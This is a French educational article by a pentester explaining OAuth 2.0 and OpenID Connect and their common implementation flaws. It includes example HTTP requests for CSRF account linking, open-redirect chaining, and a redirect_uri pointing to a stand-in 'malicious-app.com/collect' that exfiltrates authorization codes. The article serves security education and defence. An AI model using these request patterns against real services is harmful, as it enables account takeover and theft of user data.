Introduction
Aujourd’hui, chaque internaute utilise une multitude de services : réseaux sociaux, stockage de données dans le cloud, sites e-commerce, applications bancaires ou administratives, forums, et bien d’autres plateformes web.
Ces services sont souvent interconnectés pour deux raisons principales :
- Une ressource, comme une photo hébergée sur un service de stockage, peut être utilisée par un autre service.
- Un mécanisme d’authentification partagé permet de conserver une cohérence entre les applications tout en évitant à l’utilisateur de gérer des accès indépendants pour chaque service.
L’authentification est le processus qui permet à un utilisateur de prouver son identité pour accéder à des fonctionnalités ou des ressources. C’est un aspect essentiel d’une application web, tant sur le plan fonctionnel que sur le plan de la sécurité.
OAuth, actuellement en version 2.0, est à l’origine un protocole conçu pour permettre à une application d’accéder aux ressources d’un utilisateur hébergées sur une autre plateforme.
Ainsi, via OAuth, l’utilisateur peut accorder des autorisations spécifiques à une application sans partager ses identifiants de connexion avec elle. Ce système permet un accès contrôlé aux ressources tout en préservant la sécurité des informations sensibles.
Aujourd’hui, OAuth s’est également imposé comme une solution clé pour déléguer l’authentification à une plateforme tierce.
Dans les sections suivantes, nous détaillerons d’abord le fonctionnement d’OAuth 2.0 en tant que protocole d’autorisation pour l’échange de ressources. Nous examinerons ensuite son rôle dans l’authentification déléguée ainsi que les vulnérabilités et défis de sécurité associés.
Guide complet sur le protocole OAuth 2.0
Qu’est-ce que OAuth ?
OAuth : un protocole d’autorisation
OAuth, ou « Open Authorization », est un protocole d’autorisation qui permet à une application (web ou mobile), d’accéder aux ressources d’un utilisateur hébergées sur une autre application. En clair, un utilisateur peut autoriser une application à consulter ou utiliser certaines de ses données sans partager ses identifiants de connexion.
Prenons un exemple concret : vous souhaitez qu’une application accède à votre liste de contacts sur votre compte Microsoft. Plutôt que de transmettre vos identifiants Microsoft (ce qui poserait un sérieux problème de sécurité), vous utilisez le service OAuth de Microsoft pour accorder cette autorisation. Vous spécifiez que seule cette application peut accéder à vos contacts, uniquement pour cette tâche précise, et une seule fois.
OAuth : un protocole utilisé aussi pour l’authentification
En pratique, OAuth est largement utilisé par les applications web pour déléguer l’authentification à une autre plateforme.
Plutôt que de demander à l’utilisateur de créer un compte sur la plateforme Z, celle-ci permet à l’utilisateur de s’authentifier via une plateforme Y où il possède déjà un compte (comme Microsoft ou Google).
Ensuite, l’utilisateur autorise Z à accéder uniquement aux informations personnelles nécessaires, comme son adresse email ou son identité.
Dans ce cas, la plateforme Y joue le rôle de « serveur d’autorisation » (souvent appelé à tort « serveur OAuth »), tandis que Z est désigné comme le « client ». Ici, il ne s’agit plus de partager une ressource à proprement parler, mais uniquement des données personnelles de l’utilisateur.
Ce mécanisme présente plusieurs avantages :
- Sécurité renforcée : Le client (plateforme Z) n’a pas besoin de connaître les identifiants de l’utilisateur. Il n’a donc pas à gérer un système d’authentification ni à stocker des mots de passe, ce qui élimine le risque de fuite de ces informations.
- Amélioration de l’expérience utilisateur : Les utilisateurs n’ont plus besoin de créer un compte pour chaque plateforme qu’ils utilisent, ce qui simplifie leur accès aux services.
- Réduction des risques liés aux mots de passe : Les utilisateurs n’ont plus à gérer des mots de passe multiples, ce qui limite les risques de réutilisation ou de faiblesse des mots de passe.
- Facilité pour les développeurs : Les développeurs peuvent se passer de la mise en place d’un système d’authentification dédié, gagnant ainsi du temps et réduisant les complexités techniques.
OAuth 2.0 se révèle donc être une solution avantageuse, à la fois pour les développeurs qui souhaitent déléguer l’authentification et pour les utilisateurs qui bénéficient d’un accès simplifié et plus sécurisé.
Cependant, un déploiement mal maîtrisé peut engendrer des vulnérabilités. Ces risques seront abordés dans la section « Limites de sécurité et vulnérabilités ».
Différences entre OAuth et OpenID Connect ?
OpenID Connect (OIDC) est une extension de OAuth 2.0, conçue pour simplifier et standardiser la délégation d’authentification.
OAuth, à l’origine, n’étant pas pensé pour l’authentification, les développeurs devaient souvent adapter leurs implémentations, ce qui compliquait l’intégration avec chaque fournisseur.
OpenID Connect apporte des fonctionnalités spécifiques qui rendent l’authentification plus fiable et plus facile à mettre en œuvre.
L’une des principales améliorations est l’utilisation d’un JSON Web Token signé (JWS). Ce token, appelé self-contained token, contient toutes les informations nécessaires : données utilisateur demandées par l’application cliente, ainsi que des détails sur la méthode et le moment de la dernière authentification.
Cette approche réduit le nombre d’échanges avec le serveur, améliorant ainsi les performances, tout en garantissant l’intégrité des données transmises (via le paramètre response_type=id_token
).
OpenID Connect se distingue également par sa gestion des périmètres (scopes). Avec OAuth, chaque autorisation précise les ressources à accéder (par exemple, scope=contacts.read
).
En revanche, OIDC propose des périmètres standardisés, utilisables par toutes les applications clientes. Les données sont retournées sous forme de paires clé-valeur, appelées claims. Par exemple, avec scope=openid%20profile
, une application peut obtenir le nom de l’utilisateur sous la forme "name":"John"
.
En résumé, OIDC se concentre sur l’authentification en s’appuyant sur OAuth 2.0, rendant le processus plus simple, fiable et efficace. Cependant, comme OpenID Connect repose sur OAuth, il ne corrige pas les failles de sécurité inhérentes à ce dernier.
Les vulnérabilités décrites dans la section « Limites de sécurité et vulnérabilités » restent donc applicables à OIDC. Plus encore, des vulnérabilités spécifiques à OpenID Connect peuvent survenir en cas de mauvaise implémentation.
Comment fonctionne OAuth 2.0 ?
Les différents acteurs OAuth
Comme mentionné précédemment, le fonctionnement d’OAuth repose sur plusieurs acteurs :
- Le client : il s’agit de l’application qui souhaite accéder à des ressources ou déléguer l’authentification.
- Le serveur d’autorisation : il permet à l’utilisateur d’autoriser ou non l’accès à ses données. Ce serveur gère également l’authentification de l’utilisateur. Lorsqu’on parle de « serveur OAuth » ou « OAuth service provider », on désigne souvent cette double fonction d’authentification et d’autorisation.
- Le serveur de ressources : il stocke les données nécessaires au client. Dans certains cas, le serveur d’autorisation et le serveur de ressources sont une seule et même entité.
L’utilisateur, en tant que propriétaire des ressources, navigue sur l’application cliente, s’authentifie auprès du serveur OAuth, puis autorise cette application à accéder aux ressources demandées.
Après s’être authentifié et avoir accordé l’accès à une ressource protégée, l’utilisateur reçoit un jeton d’accès (access token), délivré par le serveur OAuth. Ce jeton précise :
- Quelle application est autorisée,
- Quelles données peuvent être consultées,
- Et pour combien de temps.
L’utilisateur transmet ensuite ce jeton à l’application cliente, qui l’utilise pour accéder à la ressource sécurisée.
Le processus se déroule ainsi :
- L’application cliente transmet le jeton au serveur de ressource.
- Le serveur de ressource vérifie la validité du jeton auprès du serveur d’autorisation. Cette communication est invisible pour l’utilisateur et l’application cliente.
- Si le jeton est valide, le serveur de ressource envoie les données demandées à l’application cliente.
Fonctionnement de l’authentification via OAuth et OpenID
Bien qu’OAuth n’ait pas été conçu à l’origine pour l’authentification, il est aujourd’hui largement utilisé dans ce but.
Par exemple, un site peut vous proposer de vous connecter via votre compte sur un réseau social, évitant ainsi de créer un nouveau compte.
Le fonctionnement reste proche du schéma initial, mais ce qui change, c’est l’utilisation des données reçues via le jeton d’accès (access token). En dehors d’OpenID Connect, cette utilisation n’est pas standardisée et peut varier selon les implémentations.
Voici comment l’authentification via OAuth est généralement mise en œuvre :
- L’utilisateur choisit de se connecter avec un compte de réseau social. L’application cliente utilise alors le service OAuth du réseau social pour demander certaines données (par exemple, une adresse email).
- Après avoir reçu un jeton d’accès, l’application cliente utilise un point de terminaison, souvent nommé
/userinfo
, pour récupérer ces données auprès du serveur de ressources. - Une fois les données obtenues, l’application cliente les utilise pour identifier et connecter l’utilisateur, souvent en remplaçant un mot de passe traditionnel par le jeton d’accès.
Dans ce cas, l’objectif n’est pas d’accéder à des ressources spécifiques du réseau social (comme une photo ou une liste de contacts), mais uniquement à une donnée unique, comme l’adresse email de l’utilisateur, qui permet de l’authentifier.
Cette approche est également celle adoptée par OpenID Connect, lorsqu’il est utilisé sans les self-contained tokens.
En définitive, l’authentification déléguée repose sur la confiance que l’application cliente accorde au serveur OAuth. Celui-ci doit garantir que seules des informations vérifiées et intactes sont transmises.
Par exemple, si un utilisateur peut altérer les données renvoyées par le point de terminaison /userinfo
(comme fournir l’adresse email d’un autre utilisateur), la sécurité de l’authentification est compromise.
Pour l’utilisateur, l’authentification via OAuth est très similaire à une solution d’authentification unique (SSO) basée sur SAML.
Quelles sont les limites de sécurité et vulnérabilités courantes d’OAuth 2.0 ?
L’utilisation de OAuth 2.0 pour la délégation d’authentification présente des risques de vulnérabilités, qu’OpenID Connect soit implémenté ou non (même si OIDC est désormais largement adopté).
Ces vulnérabilités ne proviennent pas du protocole lui-même, mais plutôt de ses implémentations. Elles peuvent être regroupées en plusieurs catégories :
- Vulnérabilités de l’application cliente OAuth : Protection anti-CSRF insuffisante, mauvaise gestion du Implicit Grant, confiance excessive envers le serveur OAuth client.
- Fuites de codes d’autorisation ou de jetons d’accès.
- Vulnérabilités au niveau du serveur OAuth : Validation incorrecte des scopes (scope upgrade).
Pour mieux comprendre ces risques, examinons une requête HTTP typique envoyée au serveur OAuth lors d’une demande d’autorisation :
GET /authorization?client_id=12345&redirect_uri=https://client-app.com/callback&response_type=token&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com
Cette requête, générée par l’application cliente, est transmise par l’utilisateur final au serveur OAuth. Elle contient les éléments suivants :
/authorization
: Endpoint du serveur OAuth utilisé pour demander une autorisation.client_id
: Identifiant de l’application cliente effectuant la demande.redirect_uri
: URL de redirection après l’autorisation/authentification, où le token sera transmis (endpoint de l’application cliente).response_type
: Type de réponse attendu. Par exemple, «token
» indique qu’un jeton d’accès sera retourné, tandis que «id_token
» permet d’obtenir un JWS (voir section OpenID Connect).scope
: Périmètre de l’autorisation. Ici, «openid profile
» donne accès aux informations de profil utilisateur définies par OpenID.state
: Jeton anti-CSRF contenant une valeur aléatoire et imprévisible, pour protéger contre des attaques de type cross-site request forgery.
Ces paramètres, bien que nécessaires, peuvent devenir des points de vulnérabilité s’ils sont mal gérés. Nous explorerons dans la suite les risques associés et comment les prévenir.
Absence du paramètre state et attaques CSRF
Le paramètre state
n’est pas obligatoire dans OAuth 2.0, mais son utilisation est fortement recommandée.
Si ce paramètre n’est pas activé, s’il n’est pas vérifié par l’application cliente, ou s’il est prévisible (non aléatoire), une attaque CSRF (Cross-Site Request Forgery) devient possible.
Exemple : Une application cliente permet à ses utilisateurs de lier leur compte à un réseau social. Cela leur permet ensuite de se connecter à l’application via leurs identifiants du média social, plutôt qu’avec un mot de passe spécifique à l’application.
Lors de cette liaison, les deux requêtes suivantes sont envoyées :
- De l’utilisateur au serveur OAuth (réseau social) :
GET /auth?client_id=54321&redirect_uri=https://client-app.com/oauth&response_type=code&scope=openid%20profile%20email HTTP/1.1
Host: social-media.com
Après authentification sur le média social, un code (par exemple KJSUSIEGHBSHEOKJJSOIPE
) est généré et renvoyé à l’application cliente.
- De l’utilisateur à l’application cliente :
GET /oauth?code=KJSUSIEGHBSHEOKJJSOIPE HTTP/1.1
Host: client-app.com
Sans mécanisme anti-CSRF (state
), un attaquant pourrait voler l’accès à un compte utilisateur en lui faisant simplement cliquer sur un lien malveillant : https://client-app.com/oauth?code=KJSUSIEGHBSHEOKJJSOIPE
En cliquant sur ce lien, l’utilisateur, sans le savoir, lierait son compte au réseau social de l’attaquant, permettant à ce dernier de se connecter avec les identifiants du réseau social de la victime.
Mauvaise implémentation du type d’authentification « Implicit Grant »
Implicit Grant désigne un scénario où l’utilisateur final reçoit directement un token du serveur OAuth.
En revanche, dans le cas d’une autorisation non-implicite, le serveur délivre un code, que l’application cliente utilisera ensuite pour obtenir le token et accéder à la ressource.
La principale différence réside dans le fait que, dans le cadre du Implicit Grant, l’utilisateur reçoit directement le token d’accès, ce qui lui permet de faire des requêtes au serveur OAuth pour obtenir ses informations personnelles (par exemple via /userinfo). Cette approche simplifie l’implémentation, d’où sa popularité.
Pour finaliser le processus d’authentification et maintenir une session active sur l’application cliente, l’utilisateur envoie généralement ses informations au serveur via une requête POST, ce qui permet au serveur d’attribuer un cookie de session.
Dans ce cas, le serveur de l’application cliente n’a pas besoin d’échanger directement avec le serveur OAuth, car toutes les communications se font depuis le navigateur de l’utilisateur.
Toutefois, sur le plan de la sécurité, il est crucial que le serveur vérifie que les informations fournies par l’utilisateur correspondent bien au token d’accès.
Sans cette vérification, un utilisateur pourrait falsifier ses données, par exemple en soumettant une adresse email incorrecte pour accéder au compte d’un autre utilisateur.
Excès de confiance envers le serveur OAuth
Cette vulnérabilité n’est pas spécifique à OAuth, mais concerne les mécanismes de délégation d’authentification en général. Elle peut également être présente dans des systèmes d’authentification comme SAML.
Dans le cadre d’une application cliente multi-tenant, il arrive que les utilisateurs puissent configurer leurs comptes pour déléguer l’authentification à leur propre serveur OAuth. Cela est particulièrement pratique, car un client ayant une authentification centralisée (SSO) peut l’utiliser pour gérer l’accès des utilisateurs à l’application cliente.
Le scénario est le suivant : lorsqu’un utilisateur saisit son adresse email (1.) sur l’application cliente, il a l’option de « se connecter via SSO » (2.). Il est alors redirigé vers le serveur OAuth de son entreprise, où il saisit ses identifiants de connexion (3.).
Une fois authentifié, l’utilisateur est redirigé vers l’application cliente, qui reçoit son token (ou code). Ce processus suit les étapes classiques d’OAuth décrites précédemment dans ce chapitre.
À ce stade, l’application cliente utilise les données de l’utilisateur (comme son adresse email) pour les associer aux comptes existants sur la plateforme et ainsi créer une session pour l’utilisateur sur le compte correspondant.
Cependant, il est crucial que le serveur de l’application cliente vérifie que le serveur OAuth fournissant ces informations appartient bien à celui qui est configuré pour le compte de l’utilisateur concerné (par exemple, l’adresse email).
En d’autres termes, l’application cliente ne doit jamais faire confiance aveuglément au serveur OAuth externe sans vérifier les données : ce serveur étant sous le contrôle d’acteurs externes, il pourrait renvoyer n’importe quelle adresse email (4.).
Si l’application cliente ne vérifie pas la correspondance entre l’adresse email et le serveur OAuth, un attaquant pourrait prendre le contrôle du compte d’un autre utilisateur (5. et 6.).
Cette vulnérabilité est courante et présente un risque critique, car elle permet à un attaquant de s’emparer de n’importe quel compte sur l’application cliente, y compris des comptes d’administrateurs ou super-administrateurs.
Fuites de codes d’autorisation ou de jetons d’accès
Pendant le processus d’authentification via OAuth, la réponse du serveur OAuth est particulièrement sensible, car elle contient un élément crucial pour authentifier l’utilisateur (que ce soit un code, un token d’accès ou un JWS). Si cet élément est intercepté, il est possible de compromettre le compte de l’utilisateur.
Une méthode courante pour y parvenir consiste à manipuler le paramètre redirect_uri
. En effet, si le serveur ne valide pas correctement ce paramètre, ou s’il est trop permissif, un attaquant peut rediriger l’utilisateur vers une plateforme malveillante au lieu de l’application cliente.
Prenons l’exemple suivant :
GET /authorization?client_id=6666&redirect_uri=https://malicious-app.com/collect&response_type=code&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com
Une fois l’utilisateur authentifié, il est redirigé vers malicious-app.com
, avec le token en paramètre. Le requêtage suivant est envoyé vers le serveur de l’attaquant :
GET / collect?code=HSJKQLPEMBCJEIAKPSNN HTTP/1.1
Host: malicious-app.com
L’attaquant, en possession du code d’authentification, pourra alors accéder aux données de l’utilisateur.
Cependant, en général, le paramètre redirect_uri
ne peut pas être manipulé de la sorte, car la configuration du serveur OAuth permet de définir des domaines ou des URLs spécifiques acceptés. Dans ce cas, l’attaquant pourrait tenter une redirection intermédiaire en exploitant une autre vulnérabilité de redirection ouverte présente sur la plateforme.
Imaginons que la page https://client-app.com/redirect
soit vulnérable à une redirection ouverte. L’attaquant pourrait alors exploiter cette faille dans le cadre de l’authentification OAuth comme suit :
GET /authorization?client_id=6666&redirect_uri=https://client-app.com/redirect?next=https://malicious-app.com/collect &response_type=code&scope=openid%20profile&state=ae13d489bd00e3c24 HTTP/1.1
Host: oauth-authorization-server.com
L’utilisateur serait d’abord redirigé vers https://client-app.com/redirect
, puis vers https://malicious-app.com/collect
. Si la vulnérabilité de redirection ouverte sur https://client-app.com/redirect
est exploitée, le code d’authentification pourrait être transmis au serveur de l’attaquant.
Absence de validation du scope
Le serveur OAuth doit impérativement vérifier le périmètre (scope) du token avant de retourner les données de l’utilisateur. Si cette validation est omise, les données des utilisateurs risquent d’être compromises, car :
- Une application cliente malveillante pourrait exploiter un token d’utilisateur pour accéder à plus d’informations que celles pour lesquelles elle est autorisée, en modifiant le paramètre
scope
lors de l’échange avec le serveur OAuth. - Dans le cadre d’un Implicit Grant, un attaquant pourrait intercepter le token d’un utilisateur (par exemple, lors de son envoi par le navigateur) et contacter le endpoint
/userinfo
du serveur OAuth, tout en modifiant lescope
. Cela permettrait potentiellement d’extraire des données utilisateur, même si elles ne figuraient pas dans le périmètre initial du token.
Auteur : Cédric CALLY–CABALLERO – Pentester @Vaadata